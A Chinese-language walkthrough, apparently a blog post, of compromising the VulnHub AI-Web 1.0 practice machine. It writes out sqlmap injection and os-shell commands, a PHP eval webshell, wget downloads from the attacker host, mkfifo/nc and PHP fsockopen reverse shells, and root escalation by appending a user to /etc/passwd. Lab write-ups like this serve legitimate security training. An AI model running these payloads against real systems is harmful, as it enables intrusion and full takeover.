VulnHub AI-Web 1.0 靶机渗透

环境准备:

kali攻击机:192.168.153.130

win10攻击机:192.168.1.157

AI-Web1.0靶机:??????

开启环境!

一、信息收集:

使用 arp-scan -l   扫描c段  参数-l为扫描c段

得到靶机IP地址为 192.168.153.129

使用nmap继续对靶机地址扫描,发现靶机仅开启了80端口。

 

访问一下靶机地址,192.168.153.129,没什么收获

使用 dirb "http://192.168.153.129"  进一步扫描,发现有一个robots.txt

 访问 http://192.168.153.129/robots.txt  ,发现 /m3diNf0/  和  /se3reTdir777/uploads/ 这两个路径

 

访问/m3diNf0/  发现不能访问。

访问/se3reTdir777/uploads/ 也不能访问。

 使用dirb 对/m3diNf0/扫描 ,发现info.php页面

 访问 http://192.168.153.129/m3diNf0/info.php

 在phpinfo中爆出了网站的绝对路径。

 使用dirb 对 /se3reTdir777/ 扫描,发现一个index.php的页面

 打开 http://192.168.153.129/se3reTdir777/index.php ,发现是个查询页面,考虑可能存在sql注入

输入1' 提交,发现报sql语句错,存在sql注入漏洞。

 

二、漏洞利用

 使用burpsuite抓包,得到注入点位置。输入1提交抓包

 得到注入点 uid=1&Operation=Submit

使用sqlmap进行sql注入

注入页面为http://192.168.153.129/se3reTdir777/index.php

注入点为uid=1&Operation=Submit

--dbs 列出数据库

sqlmap -u  "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs

 爆出两个库,aiweb1 和 information_schema

-D 指定数据库 aiweb1

--tables 列出表名

sqlmap -u  "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables

 得到两张表,user 和 systemUser

再通过-T 指定表名user

--columns 列出字段

sqlmap -u  "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns 

得到firstName、id、lastName三列字段。

再-C 指定字段 id,firstName,lastName

--dump 获取字段中的数据

sqlmap -u  "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C  id,firstName,lastName --dump

 得到字段内容,但是都不是靶机的登录信息。

考虑到phpinfo中暴露了网站的根目录,我们是知道网站绝对路径的,故寻思先获取os-shell

os-shell执行条件:

  • 网站必须是root权限
  • 网站的绝对路径已知
  • GPC为off

level  指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

sqlmap -u  "http://192.168.153.129/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --level=3 --os-shell

 由phpinfo和robots.txt可知一可上传文件的绝对路径

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

选择4,php,然后选择2,绝对路径,然后键入已知绝对路径,回车,获取os-shell

三、上传一句话木马

方法① 通过sqlmap直接上传

在kali本地建立一句话木马

<?php
@eval($_POST['123']);
?>

 –file-write:去读取木马文件
–file-dest:后面加要存放文件的地址

sqlmap -u "http://192.168.153.129/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

 在os-shell下dir查看,1.php上传成功

 方法②:通过python 快速部署网页sqlmap shell wget 直接下载

在kali 输入

python2用:python -m SimpleHTTPServer  8888

python3用:python -m http.server  8888

用python快速开启网站,端口8888

 

 部署成功。

在os-shell下,去kali的地址wget 2.php

wget http://192.168.153.130:8888/2.php

成功下载到2.php文件。

四、连接一句话木马 

写好的 1.php 2.php 存放在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/下

剑蚁连接  http://192.168.153.129/se3reTdir777/uploads/1.php 

 成功获取webshell

 打开终端

 我们只有www-data的权限

五、nc反弹连接

 方法①

kali开启端口监听,监听 7777端口

nc -lvvp 7777

在剑蚁终端使用nc -e  回弹shell,发现无法使用-e选项,该靶场环境的nc工具不具备-e的选项。

 使用以下命令:

rm /tmp/z            #rm  删除文件 因为要保证没有/tmp/z 这个文件

mkfifo  /tmp/f        #mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)

cat   /tmp/f|/bin/sh  -i  2>&1|nc  192.168.153.130  7777  >  /tmp/z

此时kali监听窗口收到7777端口回弹的shell

虽然回弹了shell,但是连接极其不稳定,不能满足正常使用。

方法② 上传nc连接脚本

kali端开启7777端口监听  nc -lvvp 7777

 

kali端编写nc连接脚本,3.php

<?php
$sock=fsockopen("192.168.153.130",7777);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

在os-shell中,通过wget方法,把3.php传进去。 

wget http://192.168.153.130:8888/2.php

 在os-shell中运行3.php

php 3.php

 运行3次后成功,监听窗口成功回弹shell

六、提权拿到flag

通过ls -l /etc/passwd我们发现,当前用户对/etc/passwd有着读写权限

那么尝试在/etc/passwd文件中添加一个root权限的用户进行提权

创建一个hack用户,使用openssl工具加密密码(-1 为MD5加密;-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。)

openssl passwd -1 -salt hack 123456

 

仿照root的格式,写好hack的账户密码信息 (x处为密码)

root:x:0:0:root:/root:/bin/bash
hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0::/root:/bin/bash

 使用echo命令将生成的字符串写入到/etc/passwd文件中

echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0::/root:/bin/bash' >> /etc/passwd

这里直接切换hack用户会报错

 需要先用脚本提升为交互式shell,再切换用户:

python -c 'import pty;pty.spawn("/bin/bash")'

 输入用户密码,回车,成功提权到root

在root目录下,找到flag.txt文件

 

 

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值